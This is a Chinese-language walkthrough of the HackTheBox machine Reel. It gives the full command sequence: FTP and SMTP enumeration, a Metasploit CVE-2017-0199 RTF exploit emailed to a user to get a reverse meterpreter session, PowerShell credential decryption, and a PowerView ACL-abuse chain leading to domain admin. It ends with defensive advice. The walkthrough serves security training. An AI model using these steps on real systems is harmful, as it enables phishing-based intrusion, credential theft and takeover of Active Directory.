Reel—在HackTheBox上的一次BloodHound & PowerSploit 活动目录渗透
字数 1457 2025-08-27 12:33:31
HackTheBox Reel靶机渗透实战教学文档
靶机概述
Reel是一个运行Windows系统的HackTheBox靶机,主要涉及以下技术点:
- FTP匿名访问利用
- 邮件服务枚举
- CVE-2017-0199漏洞利用
- PowerShell凭证解密
- BloodHound活动目录审计
- PowerSploit/PowerView权限提升
- Active Directory权限滥用
初始信息收集
端口扫描
使用nmap进行服务版本扫描:
nmap -sV -sC 10.10.10.77
发现开放服务:
- 21/tcp - FTP (Microsoft ftpd,允许匿名登录)
- 22/tcp - SSH (OpenSSH 7.6)
- 25/tcp - SMTP (邮件服务)
FTP枚举
匿名登录FTP并查看文件:
ftp 10.10.10.77
Name: anonymous
Password: (任意邮箱地址)
ls
cd documents
ls
发现三个文件:
- AppLocker.docx
- readme.txt
- Windows Event Forwarding.docx
使用exiftool查看文档元数据:
exiftool "Windows Event Forwarding.docx"
发现创建者邮箱:nico@megabank.com
readme.txt内容:
please email me any rtf format procedures — I'll review and convert.
new format / converted documents will be saved here.
SMTP枚举
验证邮箱有效性:
telnet 10.10.10.77 25
HELO anything
MAIL FROM: <email@domain.com>
RCPT TO: <nico@megabank.com> # 返回250 OK表示存在
RCPT TO: <nobody@megabank.com> # 返回550表示不存在
QUIT
初始立足点获取
CVE-2017-0199利用
使用Metasploit生成恶意RTF文件:
msfconsole
use exploit/windows/fileformat/office_word_hta
set FILENAME shell.rtf
set SRVHOST <你的IP>
set SRVPORT 8080
set LHOST <你的IP>
set LPORT 1234
run
使用swaks发送恶意文件:
swaks --to nico@megabank.com --server 10.10.10.77 --attach /root/.msf4/local/shell.rtf
成功获取meterpreter会话。
持久性访问
在nico桌面发现cred.xml文件:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
</Objs>
解密凭证:
$tom = Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
$tom.GetNetworkCredential().Password
得到明文密码:1ts-mag1c!!!
使用该凭证通过SSH连接:
ssh tom@10.10.10.77
权限提升
BloodHound分析
在tom的桌面发现"AD Audit"文件夹,包含BloodHound收集的数据。分析acls.csv发现:
- tom对claire用户有WriteOwner权限
- claire用户对Backup_Admins组有写入权限
PowerView利用
导入PowerView模块:
Import-Module 'C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1'
- 设置tom为claire对象的所有者:
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
- 添加重置密码权限:
Add-ObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
- 重置claire密码:
$UserPassword = ConvertTo-SecureString '1ts-mag1c!!!' -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword
- 创建凭证对象:
$Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
- 将claire加入Backup_Admins组:
Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $Cred
获取管理员权限
使用claire账户SSH登录后,在"Backup Scripts"目录发现BackupScript.ps1,其中包含管理员明文密码。
使用该密码通过SSH登录管理员账户获取root flag。
关键知识点总结
- FTP匿名访问:检查是否允许匿名登录,枚举可访问文件
- 文档元数据分析:使用exiftool等工具提取文档中的敏感信息
- SMTP用户枚举:通过RCPT TO命令验证邮箱有效性
- CVE-2017-0199:利用恶意RTF文件获取初始访问权限
- PowerShell凭证解密:Import-CliXml和GetNetworkCredential()方法
- BloodHound分析:理解Active Directory权限关系链
- PowerView利用:
- Set-DomainObjectOwner - 修改对象所有者
- Add-ObjectAcl - 添加访问控制条目
- Set-DomainUserPassword - 重置用户密码
- Add-DomainGroupMember - 添加用户到组
- 权限滥用链:tom → claire → Backup_Admins → 管理员凭证
防御建议
- 禁用FTP匿名访问
- 及时安装Office安全补丁
- 避免在脚本中存储明文凭证
- 定期审计Active Directory权限
- 遵循最小权限原则
- 监控异常的用户权限变更
- 对敏感文档进行适当保护